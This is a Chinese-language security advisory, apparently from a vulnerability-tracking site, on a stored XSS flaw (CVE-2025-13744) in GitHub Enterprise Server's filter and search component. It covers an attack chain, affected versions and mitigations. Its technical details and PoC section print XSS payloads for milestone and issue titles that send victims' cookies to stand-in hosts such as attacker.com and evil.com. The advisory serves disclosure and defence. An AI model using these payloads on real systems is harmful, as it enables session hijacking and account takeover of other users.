IPBUF安全漏洞报告
English
CVE-2025-13744 CVSS 5.4 中危

GitHub Enterprise Server Filter组件存储型XSS漏洞 (CVE-2025-13744)

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-13744
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitHub Enterprise Server

相关标签

存储型XSSGitHub Enterprise ServerCVE-2025-13744Web安全跨站脚本过滤器组件会话劫持信息窃取GitHub

漏洞概述

CVE-2025-13744是GitHub Enterprise Server中的一个存储型跨站脚本漏洞,存在于搜索/过滤器组件中。该漏洞允许经过身份验证的低权限攻击者通过在milestones、issues、pull requests或其他实体的名称中注入恶意HTML或JavaScript代码,当其他用户在搜索或过滤这些内容时,恶意脚本会在受害者浏览器中执行。攻击者可以利用此漏洞窃取会话cookie、劫持用户会话、进行钓鱼攻击或提取敏感信息。由于该漏洞影响所有3.14版本之前的GitHub Enterprise Server实例,且攻击门槛较低(只需创建/修改实体名称的权限),对未及时修复的系统构成中等程度的安全风险。建议管理员立即升级到安全版本,并在升级前限制用户创建敏感实体名称的权限。

技术细节

该漏洞的根本原因在于GitHub Enterprise Server的Filter组件在处理用户输入的实体名称时,未能正确对HTML特殊字符进行转义或过滤。当攻击者创建一个包含恶意JavaScript代码的milestone、issue或pull request名称后,该名称会被存储在数据库中。在后续的搜索结果展示或过滤器下拉列表渲染过程中,未经过滤的用户输入被直接插入到HTML页面中,导致恶意脚本在受害者浏览器中执行。攻击者可以利用<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>等payload触发XSS。成功利用此漏洞需要:1)具有创建或修改实体名称的权限;2)诱导其他用户访问包含恶意内容的搜索结果或过滤器界面。攻击者通常会结合社会工程学手段,如发送包含恶意链接的邮件或评论,来提高攻击成功率。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标GitHub Enterprise Server版本,确认版本低于3.14.20以确定漏洞存在
STEP 2
Initial Access
攻击者获取GitHub Enterprise Server账户权限(低权限即可),通常通过社会工程学或凭据窃取
STEP 3
Payload Injection
攻击者创建或修改milestone、issue、pull request等实体,在名称字段中注入恶意JavaScript代码,如<img src=x onerror=alert(1)>
STEP 4
Storage
恶意payload被存储在GitHub Enterprise Server数据库中,等待其他用户触发
STEP 5
Trigger
受害者(其他用户)访问搜索结果页面或使用过滤器组件,恶意代码随页面一起被渲染执行
STEP 6
Data Exfiltration
恶意脚本窃取受害者的会话cookie、CSRF token或其他敏感信息,并发送到攻击者控制的服务器
STEP 7
Account Takeover
攻击者利用窃取的凭据劫持受害者会话,进一步横向移动或窃取更多敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13744 PoC - Stored XSS in GitHub Enterprise Server Filter Component // Steps to reproduce: // 1. Create a malicious milestone with XSS payload in name POST /repos/{owner}/{repo}/milestones { "title": "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>", "description": "Malicious milestone" } // 2. Alternative payload using script tag // "title": "<script>fetch('https://evil.com?data='+btoa(document.cookie))</script>" // 3. When victim searches or uses filter, XSS executes // The malicious script sends cookies to attacker-controlled server // Example JavaScript payload for exfiltration: const xssPayload = ` <img src=x onerror=" fetch('https://attacker.com/log?c=' + encodeURIComponent(document.cookie) + '&u=' + encodeURIComponent(window.location.href)) "> `; // This payload can be placed in: // - Milestone names // - Issue titles // - Pull request titles // - Labels // - Any entity rendered in filter/search components

影响范围

GitHub Enterprise Server < 3.14.20
GitHub Enterprise Server < 3.15.15
GitHub Enterprise Server < 3.16.11
GitHub Enterprise Server < 3.17.8
GitHub Enterprise Server < 3.18.2
GitHub Enterprise Server < 3.19.1

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1)限制用户创建milestones、issues、pull requests的权限,仅允许受信任的管理员创建;2)实施输入白名单机制,拒绝包含HTML标签或JavaScript关键字的用户输入;3)部署WAF规则检测和拦截包含<script>、<img onerror>、onload等XSS特征的请求;4)要求用户使用最新的浏览器并启用XSS过滤器;5)考虑临时禁用高级搜索功能直到完成升级。同时建议开启审计日志功能,监控异常活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表